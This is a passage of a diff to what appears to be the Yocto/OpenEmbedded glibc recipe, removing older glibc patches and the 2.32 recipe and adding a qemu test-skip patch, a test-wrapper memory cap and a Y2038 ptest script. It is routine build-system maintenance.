- the default locale archive we ignore the failure and
- list an empty archive, otherwise we print an error
- and exit. */
-- if (errno == ENOENT && archivefname == default_fname)
-+ if (errno == ENOENT)
- {
- if (readonly)
- {
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0024-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch b/meta/recipes-core/glibc/glibc/0024-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch
deleted file mode 100644
index 02e73594a0..0000000000
--- a/meta/recipes-core/glibc/glibc/0024-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From dffa52364f8c54c455b2459ebe83f05cb6ffc9fc Mon Sep 17 00:00:00 2001
-From: Mark Hatle <mark.hatle@windriver.com>
-Date: Thu, 18 Aug 2016 14:07:58 -0500
-Subject: [PATCH 24/29] elf/dl-deps.c: Make _dl_build_local_scope breadth first
-
-According to the ELF specification:
-
-When resolving symbolic references, the dynamic linker examines the symbol
-tables with a breadth-first search.
-
-This function was using a depth first search. By doing so the conflict
-resolution reported to the prelinker (when LD_TRACE_PRELINKING=1 is set)
-was incorrect. This caused problems when their were various circular
-dependencies between libraries. The problem usually manifested itself by
-the wrong IFUNC being executed.
-
-[BZ# 20488]
-
-Upstream-Status: Submitted [libc-alpha]
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
----
- elf/dl-deps.c | 14 ++++++++++----
- 1 file changed, 10 insertions(+), 4 deletions(-)
-
-diff --git a/elf/dl-deps.c b/elf/dl-deps.c
-index b5a43232a7..8aa8f37fa3 100644
---- a/elf/dl-deps.c
-+++ b/elf/dl-deps.c
-@@ -73,13 +73,19 @@ _dl_build_local_scope (struct link_map **list, struct link_map *map)
- {
- struct link_map **p = list;
- struct link_map **q;
-+ struct link_map **r;
-
- *p++ = map;
- map->l_reserved = 1;
-- if (map->l_initfini)
-- for (q = map->l_initfini + 1; *q; ++q)
-- if (! (*q)->l_reserved)
-- p += _dl_build_local_scope (p, *q);
-+
-+ for (r = list; r < p; ++r)
-+ if ((*r)->l_initfini)
-+ for (q = (*r)->l_initfini + 1; *q; ++q)
-+ if (! (*q)->l_reserved)
-+ {
-+ *p++ = *q;
-+ (*q)->l_reserved = 1;
-+ }
- return p - list;
- }
-
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0024-qemu-stale-process.patch b/meta/recipes-core/glibc/glibc/0024-qemu-stale-process.patch
new file mode 100644
index 0000000000..c0a467fcec
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0024-qemu-stale-process.patch
@@ -0,0 +1,45 @@
+glibc: Skip 2 qemu tests that can hang in oe-selftest
+
+qemumips and qemuppc were leaving stale processes behind after
+running glibc oe-selftest. During analysis, it was found that
+it was due to "tst-scm_rights" and "tst-scm_rights-time64" tests.
+Disable them so that there are no stale processes left behind.
+
+[YOCTO #15423]
+https://bugzilla.yoctoproject.org/show_bug.cgi?id=15423
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Yash Shinde <Yash.Shinde@windriver.com>
+---
+diff --git a/sysdeps/unix/sysv/linux/Makefile b/sysdeps/unix/sysv/linux/Makefile
+--- a/sysdeps/unix/sysv/linux/Makefile 2024-03-18 01:15:49.019202881 -0700
++++ b/sysdeps/unix/sysv/linux/Makefile 2024-03-14 06:26:18.581404107 -0700
+@@ -222,7 +222,6 @@
+ tst-process_mrelease \
+ tst-quota \
+ tst-rlimit-infinity \
+- tst-scm_rights \
+ tst-sigtimedwait \
+ tst-sync_file_range \
+ tst-sysconf-iov_max \
+@@ -233,6 +232,8 @@
+ tst-timerfd \
+ tst-ttyname-direct \
+ tst-ttyname-namespace \
++ # Skip this test to avoid stale qemu process
++ # tst-scm_rights \
+ # tests
+
+ # process_madvise requires CAP_SYS_ADMIN.
+@@ -270,9 +271,10 @@
+ tst-ntp_gettimex-time64 \
+ tst-ppoll-time64 \
+ tst-prctl-time64 \
+- tst-scm_rights-time64 \
+ tst-sigtimedwait-time64 \
+ tst-timerfd-time64 \
++ # Skip this test to avoid stale qemu process
++ # tst-scm_rights-time64 \
+ # tests-time64
+
+ tests-clone-internal = \
diff --git a/meta/recipes-core/glibc/glibc/0025-intl-Emit-no-lines-in-bison-generated-files.patch b/meta/recipes-core/glibc/glibc/0025-intl-Emit-no-lines-in-bison-generated-files.patch
deleted file mode 100644
index 700fb28874..0000000000
--- a/meta/recipes-core/glibc/glibc/0025-intl-Emit-no-lines-in-bison-generated-files.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From bc3380877bd2a1f9368a913fa6a2ca1ee88fd95f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 3 Aug 2018 09:44:00 -0700
-Subject: [PATCH 25/29] intl: Emit no lines in bison generated files
-
-Improve reproducibility:
-Do not put any #line preprocessor commands in bison generated files.
-These lines contain absolute paths containing file locations on
-the host build machine.
-
-Upstream-Status: Pending
-
-Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- intl/Makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/intl/Makefile b/intl/Makefile
-index ce3072420f..58457840d9 100644
---- a/intl/Makefile
-+++ b/intl/Makefile
-@@ -155,7 +155,7 @@ $(objpfx)tst-gettext6.out: $(objpfx)tst-gettext.out
-
- CPPFLAGS += -D'LOCALEDIR="$(localedir)"' \
- -D'LOCALE_ALIAS_PATH="$(localedir)"'
--BISONFLAGS = --yacc --name-prefix=__gettext --output
-+BISONFLAGS = --yacc --no-lines --name-prefix=__gettext --output
-
- $(inst_localedir)/locale.alias: locale.alias $(+force)
- $(do-install)
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0026-inject-file-assembly-directives.patch b/meta/recipes-core/glibc/glibc/0026-inject-file-assembly-directives.patch
deleted file mode 100644
index 89eef82e1b..0000000000
--- a/meta/recipes-core/glibc/glibc/0026-inject-file-assembly-directives.patch
+++ /dev/null
@@ -1,240 +0,0 @@
-From cf043d56638883157dbfaa8c6a8e2f63a6f66280 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 29 Nov 2018 17:29:35 -0800
-Subject: [PATCH 26/29] inject file assembly directives
-
-Currently, non-IA builds are not reproducibile since build paths are
-being injected into the debug symbols. These are coming from the use of
-.S assembler files during the glibc build. No STT_FILE section is added
-during the assembly but when linking, ld decides to add one to aid
-debugging and ensure references between the different object files its
-linking remain clear.
-
-We can avoid this by injecting a file header into the assembler files
-ahead of time, choosing a filename which does not contain build system
-paths.
-
-This is a bit of a workaround/hack but does significantly reduce the
-build system references in target binaries for the non-IA architectures
-which use .S files.
-
-RP
-2018/10/3
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- csu/abi-note.c | 2 ++
- sysdeps/aarch64/crti.S | 2 ++
- sysdeps/aarch64/crtn.S | 1 +
- sysdeps/aarch64/dl-tlsdesc.S | 2 ++
- sysdeps/aarch64/dl-trampoline.S | 2 ++
- sysdeps/aarch64/start.S | 2 ++
- sysdeps/arm/crti.S | 2 ++
- sysdeps/arm/crtn.S | 2 ++
- sysdeps/arm/dl-tlsdesc.S | 2 ++
- sysdeps/arm/dl-trampoline.S | 2 ++
- sysdeps/arm/start.S | 2 ++
- sysdeps/mips/start.S | 2 ++
- sysdeps/powerpc/powerpc32/dl-start.S | 2 ++
- sysdeps/powerpc/powerpc32/start.S | 2 ++
- sysdeps/powerpc/powerpc64/start.S | 2 ++
- sysdeps/unix/sysv/linux/aarch64/__read_tp.S | 2 ++
- sysdeps/unix/sysv/linux/arm/aeabi_read_tp.S | 2 ++
- sysdeps/unix/sysv/linux/arm/libc-do-syscall.S | 2 ++
- sysdeps/unix/sysv/linux/powerpc/dl-brk.S | 2 ++
- 19 files changed, 37 insertions(+)
-
---- a/sysdeps/aarch64/crti.S
-+++ b/sysdeps/aarch64/crti.S
-@@ -50,6 +50,8 @@
- # define PREINIT_FUNCTION_WEAK 1
- #endif
-
-+ .file "crti.S"
-+
- #if PREINIT_FUNCTION_WEAK
- weak_extern (PREINIT_FUNCTION)
- #else
---- a/sysdeps/aarch64/crtn.S
-+++ b/sysdeps/aarch64/crtn.S
-@@ -38,6 +38,7 @@
- corresponding to the prologues in crti.S. */
-
- #include <sysdep.h>
-+ .file "crtn.S"
-
- .section .init,"ax",%progbits
- ldp x29, x30, [sp], 16
---- a/sysdeps/aarch64/dl-tlsdesc.S
-+++ b/sysdeps/aarch64/dl-tlsdesc.S
-@@ -22,6 +22,8 @@
- #include <tls.h>
- #include "tlsdesc.h"
-
-+ .file "dl-tlsdesc.S"
-+
- #define NSAVEDQREGPAIRS 16
- #define SAVE_Q_REGISTERS \
- stp q0, q1, [sp, #-32*NSAVEDQREGPAIRS]!; \
---- a/sysdeps/aarch64/dl-trampoline.S
-+++ b/sysdeps/aarch64/dl-trampoline.S
-@@ -21,6 +21,8 @@
-
- #include "dl-link.h"
-
-+ .file "dl-trampoline.S"
-+
- #define ip0 x16
- #define ip0l PTR_REG (16)
- #define ip1 x17
---- a/sysdeps/aarch64/start.S
-+++ b/sysdeps/aarch64/start.S
-@@ -18,6 +18,8 @@
-
- #include <sysdep.h>
-
-+ .file "start.S"
-+
- /* This is the canonical entry point, usually the first thing in the text
- segment.
-
---- a/sysdeps/arm/crti.S
-+++ b/sysdeps/arm/crti.S
-@@ -57,6 +57,8 @@
- .hidden PREINIT_FUNCTION
- #endif
-
-+ .file "crti.S"
-+
- #if PREINIT_FUNCTION_WEAK
- .p2align 2
- .type call_weak_fn, %function
---- a/sysdeps/arm/crtn.S
-+++ b/sysdeps/arm/crtn.S
-@@ -37,6 +37,8 @@
- #define NO_THUMB
- #include <sysdep.h>
-
-+ .file "crtn.S"
-+
- /* crtn.S puts function epilogues in the .init and .fini sections
- corresponding to the prologues in crti.S. */
-
---- a/sysdeps/arm/dl-tlsdesc.S
-+++ b/sysdeps/arm/dl-tlsdesc.S
-@@ -21,6 +21,8 @@
- #include <tls.h>
- #include "tlsdesc.h"
-
-+ .file "dl-tlsdesc.S"
-+
- .text
- @ emit debug information with cfi
- @ use arm-specific pseudos for unwinding itself
---- a/sysdeps/arm/dl-trampoline.S
-+++ b/sysdeps/arm/dl-trampoline.S
-@@ -21,6 +21,8 @@
- #include <sysdep.h>
- #include <libc-symbols.h>
-
-+ .file "dl-trampoline.S"
-+
- .text
- .globl _dl_runtime_resolve
- .type _dl_runtime_resolve, #function
---- a/sysdeps/arm/start.S
-+++ b/sysdeps/arm/start.S
-@@ -57,6 +57,8 @@
- NULL
- */
-
-+ .file "start.S"
-+
- /* Tag_ABI_align8_preserved: This code preserves 8-byte
- alignment in any callee. */
- .eabi_attribute 25, 1
---- a/sysdeps/mips/start.S
-+++ b/sysdeps/mips/start.S
-@@ -38,6 +38,8 @@
- #include <sgidefs.h>
- #include <sys/asm.h>
-
-+ .file "start.S"
-+
- #ifndef ENTRY_POINT
- #error ENTRY_POINT needs to be defined for start.S on MIPS/ELF.
- #endif
---- a/sysdeps/powerpc/powerpc32/dl-start.S
-+++ b/sysdeps/powerpc/powerpc32/dl-start.S
-@@ -18,6 +18,8 @@
-
- #include <sysdep.h>
-
-+ .file "dl-start.S"
-+
- /* Initial entry point code for the dynamic linker.
- The C function `_dl_start' is the real entry point;
- its return value is the user program's entry point. */
---- a/sysdeps/powerpc/powerpc32/start.S
-+++ b/sysdeps/powerpc/powerpc32/start.S
-@@ -35,6 +35,8 @@
-
- #include <sysdep.h>
-
-+ .file "start.S"
-+
- /* We do not want .eh_frame info for crt1.o since crt1.o is linked
- before crtbegin.o, the file defining __EH_FRAME_BEGIN__. */
- #undef cfi_startproc
---- a/sysdeps/powerpc/powerpc64/start.S
-+++ b/sysdeps/powerpc/powerpc64/start.S
-@@ -35,6 +35,8 @@
-
- #include <sysdep.h>
-
-+ .file "start.S"
-+
- /* We do not want .eh_frame info for crt1.o since crt1.o is linked
- before crtbegin.o, the file defining __EH_FRAME_BEGIN__. */
- #undef cfi_startproc
---- a/sysdeps/unix/sysv/linux/aarch64/__read_tp.S
-+++ b/sysdeps/unix/sysv/linux/aarch64/__read_tp.S
-@@ -18,6 +18,8 @@
-
- #include <sysdep.h>
-
-+ .file "__read_tp.S"
-+
- .hidden __read_tp
- ENTRY (__read_tp)
- mrs x0, tpidr_el0
---- a/sysdeps/unix/sysv/linux/arm/aeabi_read_tp.S
-+++ b/sysdeps/unix/sysv/linux/arm/aeabi_read_tp.S
-@@ -39,6 +39,8 @@
- a normal function call) in a high page of memory; tail call to the
- helper. */
-
-+ .file "aeabi_read_tp.S"
-+
- .hidden __aeabi_read_tp
- ENTRY (__aeabi_read_tp)
- #ifdef ARCH_HAS_HARD_TP
---- a/sysdeps/unix/sysv/linux/arm/libc-do-syscall.S
-+++ b/sysdeps/unix/sysv/linux/arm/libc-do-syscall.S
-@@ -27,6 +27,8 @@
- ARM unwind tables for register to register moves, the actual opcodes
- are not defined. */
-
-+ .file "libc-do-syscall.S"
-+
- #if defined(__thumb__)
- .thumb
- .syntax unified
---- a/sysdeps/unix/sysv/linux/powerpc/dl-brk.S
-+++ b/sysdeps/unix/sysv/linux/powerpc/dl-brk.S
-@@ -1 +1,3 @@
-+ .file "dl-brk.S"
-+
- #include <brk.S>
diff --git a/meta/recipes-core/glibc/glibc/0027-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch b/meta/recipes-core/glibc/glibc/0027-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch
deleted file mode 100644
index d2c88d2354..0000000000
--- a/meta/recipes-core/glibc/glibc/0027-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From 10aef8f0671d814aaf910ababc0225cf6f0a46e8 Mon Sep 17 00:00:00 2001
-From: Martin Jansa <martin.jansa@gmail.com>
-Date: Mon, 17 Dec 2018 21:36:18 +0000
-Subject: [PATCH 27/29] locale: prevent maybe-uninitialized errors with -Os [BZ
- #19444]
-
-Fixes following error when building for aarch64 with -Os:
-| In file included from strcoll_l.c:43:
-| strcoll_l.c: In function '__strcoll_l':
-| ../locale/weight.h:31:26: error: 'seq2.back_us' may be used uninitialized in this function [-Werror=maybe-uninitialized]
-| int_fast32_t i = table[*(*cpp)++];
-| ^~~~~~~~~
-| strcoll_l.c:304:18: note: 'seq2.back_us' was declared here
-| coll_seq seq1, seq2;
-| ^~~~
-| In file included from strcoll_l.c:43:
-| ../locale/weight.h:31:26: error: 'seq1.back_us' may be used uninitialized in this function [-Werror=maybe-uninitialized]
-| int_fast32_t i = table[*(*cpp)++];
-| ^~~~~~~~~
-| strcoll_l.c:304:12: note: 'seq1.back_us' was declared here
-| coll_seq seq1, seq2;
-| ^~~~
-
- Partial fix for [BZ #19444]
- * locale/weight.h: Fix build with -Os.
-
-Upstream-Status: Submitted [https://patchwork.ozlabs.org/patch/1014766]
-
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- locale/weight.h | 7 +++++++
- 1 file changed, 7 insertions(+)
-
-diff --git a/locale/weight.h b/locale/weight.h
-index e071253f85..2889c395f1 100644
---- a/locale/weight.h
-+++ b/locale/weight.h
-@@ -28,7 +28,14 @@ findidx (const int32_t *table,
- const unsigned char *extra,
- const unsigned char **cpp, size_t len)
- {
-+ /* With GCC 8 when compiling with -Os the compiler warns that
-+ seq1.back_us and seq2.back_us might be used uninitialized.
-+ This uninitialized use is impossible for the same reason
-+ as described in comments in locale/weightwc.h. */
-+ DIAG_PUSH_NEEDS_COMMENT;
-+ DIAG_IGNORE_Os_NEEDS_COMMENT (8, "-Wmaybe-uninitialized");
- int_fast32_t i = table[*(*cpp)++];
-+ DIAG_POP_NEEDS_COMMENT;
- const unsigned char *cp;
- const unsigned char *usrc;
-
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0028-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch b/meta/recipes-core/glibc/glibc/0028-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch
deleted file mode 100644
index 25c046f5cd..0000000000
--- a/meta/recipes-core/glibc/glibc/0028-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 70731329feb7ba20364aa37aed83d920de97f028 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:11:22 +0000
-Subject: [PATCH 28/29] readlib: Add OECORE_KNOWN_INTERPRETER_NAMES to known
- names
-
-This bolts in a hook for OE to pass its own version of interpreter
-names into glibc especially for multilib case, where it differs from any
-other distros
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Lianhao Lu <lianhao.lu@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- elf/readlib.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/elf/readlib.c b/elf/readlib.c
-index 994a4426a1..baabf099b1 100644
---- a/elf/readlib.c
-+++ b/elf/readlib.c
-@@ -51,6 +51,7 @@ static struct known_names interpreters[] =
- #ifdef SYSDEP_KNOWN_INTERPRETER_NAMES
- SYSDEP_KNOWN_INTERPRETER_NAMES
- #endif
-+ OECORE_KNOWN_INTERPRETER_NAMES
- };
-
- static struct known_names known_libs[] =
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0029-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch b/meta/recipes-core/glibc/glibc/0029-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch
deleted file mode 100644
index 0ebf8a6183..0000000000
--- a/meta/recipes-core/glibc/glibc/0029-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch
+++ /dev/null
@@ -1,70 +0,0 @@
-From bf1c4b2f01c5f86bb770fd1711a69ea727e0f56e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 15 May 2020 17:05:45 -0700
-Subject: [PATCH 29/29] wordsize.h: Unify the header between arm and aarch64
-
-This helps OE multilibs to not sythesize this header which causes all
-kind of recursions and other issues since wordsize is fundamental header
-and ends up including itself in many case e.g. clang tidy, bpf etc.
-
-Upstream-Status: Inappropriate [ OE-Specific ]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/aarch64/bits/wordsize.h | 8 ++++++--
- sysdeps/{aarch64 => arm}/bits/wordsize.h | 8 ++++++--
- 2 files changed, 12 insertions(+), 4 deletions(-)
- copy sysdeps/{aarch64 => arm}/bits/wordsize.h (85%)
-
-diff --git a/sysdeps/aarch64/bits/wordsize.h b/sysdeps/aarch64/bits/wordsize.h
-index ee01841773..34fcdef1f1 100644
---- a/sysdeps/aarch64/bits/wordsize.h
-+++ b/sysdeps/aarch64/bits/wordsize.h
-@@ -17,12 +17,16 @@
- License along with the GNU C Library; if not, see
- <https://www.gnu.org/licenses/>. */
-
--#ifdef __LP64__
-+#if defined (__aarch64__) && defined (__LP64__)
- # define __WORDSIZE 64
--#else
-+#elif defined (__aarch64__)
- # define __WORDSIZE 32
- # define __WORDSIZE32_SIZE_ULONG 1
- # define __WORDSIZE32_PTRDIFF_LONG 1
-+#else
-+# define __WORDSIZE 32
-+# define __WORDSIZE32_SIZE_ULONG 0
-+# define __WORDSIZE32_PTRDIFF_LONG 0
- #endif
-
- #define __WORDSIZE_TIME64_COMPAT32 0
-diff --git a/sysdeps/aarch64/bits/wordsize.h b/sysdeps/arm/bits/wordsize.h
-similarity index 85%
-copy from sysdeps/aarch64/bits/wordsize.h
-copy to sysdeps/arm/bits/wordsize.h
-index ee01841773..34fcdef1f1 100644
---- a/sysdeps/aarch64/bits/wordsize.h
-+++ b/sysdeps/arm/bits/wordsize.h
-@@ -17,12 +17,16 @@
- License along with the GNU C Library; if not, see
- <https://www.gnu.org/licenses/>. */
-
--#ifdef __LP64__
-+#if defined (__aarch64__) && defined (__LP64__)
- # define __WORDSIZE 64
--#else
-+#elif defined (__aarch64__)
- # define __WORDSIZE 32
- # define __WORDSIZE32_SIZE_ULONG 1
- # define __WORDSIZE32_PTRDIFF_LONG 1
-+#else
-+# define __WORDSIZE 32
-+# define __WORDSIZE32_SIZE_ULONG 0
-+# define __WORDSIZE32_PTRDIFF_LONG 0
- #endif
-
- #define __WORDSIZE_TIME64_COMPAT32 0
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0030-powerpc-Do-not-ask-compiler-for-finding-arch.patch b/meta/recipes-core/glibc/glibc/0030-powerpc-Do-not-ask-compiler-for-finding-arch.patch
deleted file mode 100644
index a764552361..0000000000
--- a/meta/recipes-core/glibc/glibc/0030-powerpc-Do-not-ask-compiler-for-finding-arch.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 8b1d521290218df8ceeaf2e6ee44a54b19d8d328 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 7 Aug 2020 14:31:16 -0700
-Subject: [PATCH 30/30] powerpc: Do not ask compiler for finding arch
-
-This does not work well in cross compiling environments like OE
-and moreover it uses its own -mcpu/-march options via cflags
-
-Upstream-Status: Inappropriate [ OE-Specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/powerpc/preconfigure | 5 +----
- sysdeps/powerpc/preconfigure.ac | 5 +----
- 2 files changed, 2 insertions(+), 8 deletions(-)
-
-diff --git a/sysdeps/powerpc/preconfigure b/sysdeps/powerpc/preconfigure
-index dfe8e20399..bbff040f0f 100644
---- a/sysdeps/powerpc/preconfigure
-+++ b/sysdeps/powerpc/preconfigure
-@@ -29,10 +29,7 @@ esac
- # directive which shows up, and try using it.
- case "${machine}:${submachine}" in
- *powerpc*:)
-- archcpu=`echo "int foo () { return 0; }" \
-- | $CC $CFLAGS $CPPFLAGS -S -frecord-gcc-switches -xc -o - - \
-- | grep -E "mcpu=|.machine" -m 1 \
-- | sed -e "s/.*machine //" -e "s/.*mcpu=\(.*\)\"/\1/"`
-+ archcpu=''
- # Note if you add patterns here you must ensure that an appropriate
- # directory exists in sysdeps/powerpc. Likewise, if we find a
- # cpu, don't let the generic configure append extra compiler options.
-diff --git a/sysdeps/powerpc/preconfigure.ac b/sysdeps/powerpc/preconfigure.ac
-index 6c63bd8257..3e925f1d48 100644
---- a/sysdeps/powerpc/preconfigure.ac
-+++ b/sysdeps/powerpc/preconfigure.ac
-@@ -29,10 +29,7 @@ esac
- # directive which shows up, and try using it.
- case "${machine}:${submachine}" in
- *powerpc*:)
-- archcpu=`echo "int foo () { return 0; }" \
-- | $CC $CFLAGS $CPPFLAGS -S -frecord-gcc-switches -xc -o - - \
-- | grep -E "mcpu=|[.]machine" -m 1 \
-- | sed -e "s/.*machine //" -e "s/.*mcpu=\(.*\)\"/\1/"`
-+ archcpu=''
- # Note if you add patterns here you must ensure that an appropriate
- # directory exists in sysdeps/powerpc. Likewise, if we find a
- # cpu, don't let the generic configure append extra compiler options.
---
-2.28.0
-
diff --git a/meta/recipes-core/glibc/glibc/check-test-wrapper b/meta/recipes-core/glibc/glibc/check-test-wrapper
index f8e04e02d2..5cc993f718 100644
--- a/meta/recipes-core/glibc/glibc/check-test-wrapper
+++ b/meta/recipes-core/glibc/glibc/check-test-wrapper
@@ -2,6 +2,7 @@
import sys
import os
import subprocess
+import resource
env = os.environ.copy()
args = sys.argv[1:]
@@ -44,12 +45,20 @@ if targettype == "user":
qemuargs += ["-L", sysroot]
qemuargs += ["-E", "LD_LIBRARY_PATH={}".format(":".join(libpaths))]
command = qemuargs + args
+
+ # We've seen qemu-arm using up all system memory for some glibc
+ # tests e.g. nptl/tst-pthread-timedlock-lockloop
+ # Cap at 8GB since no test should need more than that
+ # (5GB adds 7 failures for qemuarm glibc test run)
+ limit = 8*1024*1024*1024
+ resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
+
elif targettype == "ssh":
host = os.environ.get("SSH_HOST", None)
user = os.environ.get("SSH_HOST_USER", None)
port = os.environ.get("SSH_HOST_PORT", None)
- command = ["ssh", "-o", "UserKnownHostsFile=/dev/null", "-o", "StrictHostKeyChecking=no"]
+ command = ["ssh", "-o", "UserKnownHostsFile=/dev/null", "-o", "StrictHostKeyChecking=no", "-o", "LogLevel=quiet"]
if port:
command += ["-p", str(port)]
if not host:
diff --git a/meta/recipes-core/glibc/glibc/run-ptest b/meta/recipes-core/glibc/glibc/run-ptest
new file mode 100755
index 0000000000..cb71c75682
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/run-ptest
@@ -0,0 +1,37 @@
+#!/bin/bash
+# ptest script for glibc - to run time related tests to
+# facilitate Y2038 validation
+# Run with 'ptest-runner glibc-tests'
+
+output() {
+ retcode=$?
+ if [ $retcode -eq 0 ]
+ then echo "PASS: $i"
+ elif [ $retcode -eq 77 ]
+ then echo "SKIP: $i"
+ else echo "FAIL: $i"
+ fi
+}
+
+# Allow altering time on the target
+export GLIBC_TEST_ALLOW_TIME_SETTING="1"
+
+tst_time64=$(ls -r ${PWD}/tests/glibc-ptest/*-time64)
+
+# Remove '-time64' suffix - those tests are also time
+# related
+tst_time_tmp=$(sed -e "s/-time64$//" <<< ${tst_time64})
+
+# Do not run tests supporting only 32 bit time
+#for i in ${tst_time_tmp}
+#do
+# $i >/dev/null 2>&1
+# output
+#done
+
+# Run tests supporting only 64 bit time
+for i in ${tst_time64}
+do
+ $i >/dev/null 2>&1
+ output
+done
diff --git a/meta/recipes-core/glibc/glibc_2.32.bb b/meta/recipes-core/glibc/glibc_2.32.bb
deleted file mode 100644
index 7049e61625..0000000000
--- a/meta/recipes-core/glibc/glibc_2.32.bb
+++ /dev/null
@@ -1,113 +0,0 @@
-require glibc.inc
-require glibc-version.inc
-
-CVE_CHECK_WHITELIST += "CVE-2020-10029"
-
-DEPENDS += "gperf-native bison-native make-native"
-
-NATIVESDKFIXES ?= ""
-NATIVESDKFIXES_class-nativesdk = "\
- file://0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch \
- file://0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch \
- file://0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch \
- file://0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch \
- file://0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch \
-"
-
-SRC_URI = "${GLIBC_GIT_URI};branch=${SRCBRANCH};name=glibc \
- file://etc/ld.so.conf \
- file://generate-supported.mk \
- file://makedbs.sh \
- \
- ${NATIVESDKFIXES} \
- file://0008-fsl-e500-e5500-e6500-603e-fsqrt-implementation.patch \
- file://0009-ppc-sqrt-Fix-undefined-reference-to-__sqrt_finite.patch \
- file://0010-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch \
- file://0011-Quote-from-bug-1443-which-explains-what-the-patch-do.patch \
- file://0012-eglibc-run-libm-err-tab.pl-with-specific-dirs-in-S.patch \
- file://0013-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch \
- file://0014-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch \
- file://0015-yes-within-the-path-sets-wrong-config-variables.patch \
- file://0016-timezone-re-written-tzselect-as-posix-sh.patch \
- file://0017-Remove-bash-dependency-for-nscd-init-script.patch \
- file://0018-eglibc-Cross-building-and-testing-instructions.patch \
- file://0019-eglibc-Help-bootstrap-cross-toolchain.patch \
- file://0020-eglibc-Resolve-__fpscr_values-on-SH4.patch \
- file://0021-eglibc-Forward-port-cross-locale-generation-support.patch \
- file://0022-Define-DUMMY_LOCALE_T-if-not-defined.patch \
- file://0023-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch \
- file://0024-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch \
- file://0025-intl-Emit-no-lines-in-bison-generated-files.patch \
- file://0026-inject-file-assembly-directives.patch \
- file://0027-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch \
- file://0028-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch \
- file://0029-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch \
- file://0030-powerpc-Do-not-ask-compiler-for-finding-arch.patch \
- "
-S = "${WORKDIR}/git"
-B = "${WORKDIR}/build-${TARGET_SYS}"
-
-PACKAGES_DYNAMIC = ""
-
-# the -isystem in bitbake.conf screws up glibc do_stage
-BUILD_CPPFLAGS = "-I${STAGING_INCDIR_NATIVE}"
-TARGET_CPPFLAGS = "-I${STAGING_DIR_TARGET}${includedir}"
-
-GLIBC_BROKEN_LOCALES = ""
-
-GLIBCPIE ??= ""
-
-EXTRA_OECONF = "--enable-kernel=${OLDEST_KERNEL} \
- --disable-profile \
- --disable-debug --without-gd \
- --enable-clocale=gnu \
- --with-headers=${STAGING_INCDIR} \
- --without-selinux \
- --enable-tunables \
- --enable-bind-now \
- --enable-stack-protector=strong \
- --enable-stackguard-randomization \
- --disable-crypt \
- --with-default-link \
- --enable-nscd \
- ${@bb.utils.contains_any('SELECTED_OPTIMIZATION', '-O0 -Og', '--disable-werror', '', d)} \
- ${GLIBCPIE} \
- ${GLIBC_EXTRA_OECONF}"
-
-EXTRA_OECONF += "${@get_libc_fpu_setting(bb, d)}"
-
-do_patch_append() {
- bb.build.exec_func('do_fix_readlib_c', d)
-}
-
-do_fix_readlib_c () {
- sed -i -e 's#OECORE_KNOWN_INTERPRETER_NAMES#${EGLIBC_KNOWN_INTERPRETER_NAMES}#' ${S}/elf/readlib.c
-}
-
